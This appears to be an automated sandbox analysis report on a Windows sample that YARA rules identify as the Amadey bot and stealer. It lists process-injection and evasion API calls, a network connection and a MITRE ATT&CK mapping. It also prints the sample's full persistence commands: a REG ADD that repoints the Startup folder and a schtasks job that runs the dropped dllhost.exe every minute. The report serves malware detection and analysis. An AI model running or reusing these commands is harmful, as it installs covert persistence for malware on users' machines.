Source: S7AGd447vH.exe, 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 3ISWOW64PROCESSKERNEL32.DLLASWHOOK.DLLCOMBASE.DLL%SYSTEMROOT%\SYSTEM32\COMBASE.DLLZWPROTECTVIRTUALMEMORYNTDLL.DLL%SYSTEMROOT%\SYSTEM32\NTDLL.DLL@B
Source: S7AGd447vH.exe, 00000000.00000002.1708919180.000000000239F000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000002.1820486945.00000000022BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK
Source: dllhost.exe, dllhost.exe, 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: ASWHOOK.DLL

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Code function: 11_2_00407DE4 rdtsc

11_2_00407DE4

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Window / User API: threadDelayed 887	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Window / User API: threadDelayed 1123	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Window / User API: threadDelayed 4077	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe TID: 7612	Thread sleep time: -2610000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe TID: 7724	Thread sleep time: -159660000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe TID: 7716	Thread sleep time: -202140000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe TID: 7652	Thread sleep time: -84750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe TID: 7720	Thread sleep time: -6660000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe TID: 7724	Thread sleep time: -733860000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_004048B0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

0_2_004048B0

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: dllhost.exe, 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1776075882.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1833879370.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817745095.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817745095.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1775452885.00000000008C9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Code function: 11_2_00407DE4 rdtsc

11_2_00407DE4

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_004154F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004154F3

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Code function: 11_2_00402310 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00402310

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_3_00580046 mov eax, dword ptr fs:[00000030h]	0_3_00580046
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_004169A2 mov eax, dword ptr fs:[00000030h]	0_2_004169A2
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00412C11 mov eax, dword ptr fs:[00000030h]	0_2_00412C11
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_7FE4208F mov eax, dword ptr fs:[00000030h]	0_2_7FE4208F
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 1_3_005F0046 mov eax, dword ptr fs:[00000030h]	1_3_005F0046
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 7_3_004E0046 mov eax, dword ptr fs:[00000030h]	7_3_004E0046
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 7_2_7FE4208F mov eax, dword ptr fs:[00000030h]	7_2_7FE4208F
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_00406AE4 mov eax, dword ptr fs:[00000030h]	11_2_00406AE4

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_00401F40 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree,

0_2_00401F40

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00411203 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00411203
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_004154F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004154F3
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00410E53 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00410E53
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00410FB8 SetUnhandledExceptionFilter,	0_2_00410FB8
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_004061E4 HeapCreate,HeapAlloc,HeapAlloc,HeapAlloc,TlsAlloc,TlsSetValue,RtlAddVectoredExceptionHandler,RtlRemoveVectoredExceptionHandler,TlsFree,KiUserCallbackDispatcher,HeapDestroy,	11_2_004061E4
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_00401E4C SetUnhandledExceptionFilter,	11_2_00401E4C
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_00401E3D SetUnhandledExceptionFilter,	11_2_00401E3D

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Network Connect: 72.52.178.23 80

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_004023F0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

0_2_004023F0

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process created: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\	Jump to behavior

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_00410C73 cpuid

0_2_00410C73

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152122461226 VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_00411091 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00411091

Source: C:\Users\user\Desktop\S7AGd447vH.exe

0_2_00401F40

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_0041F3E4 _free,GetTimeZoneInformation,

0_2_0041F3E4

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_004048B0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

0_2_004048B0

Stealing of Sensitive Information

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dllhost.exe PID: 7608, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.3.dllhost.exe.2204848.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.S7AGd447vH.exe.914800.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.dllhost.exe.22244848.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.dllhost.exe.2243e58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.dllhost.exe.604800.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.S7AGd447vH.exe.2224848.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.dllhost.exe.604800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.dllhost.exe.22283e58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.dllhost.exe.634800.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.S7AGd447vH.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.S7AGd447vH.exe.2263e58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.S7AGd447vH.exe.914800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.S7AGd447vH.exe.2263e58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.dllhost.exe.634800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.dllhost.exe.2243e58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.dllhost.exe.2204848.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.S7AGd447vH.exe.2224848.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.dllhost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.dllhost.exe.22283e58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.dllhost.exe.22244848.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1820138863.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 Scheduled Task/Job	211 Process Injection	1 Modify Registry	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	21 Virtualization/Sandbox Evasion	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	211 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
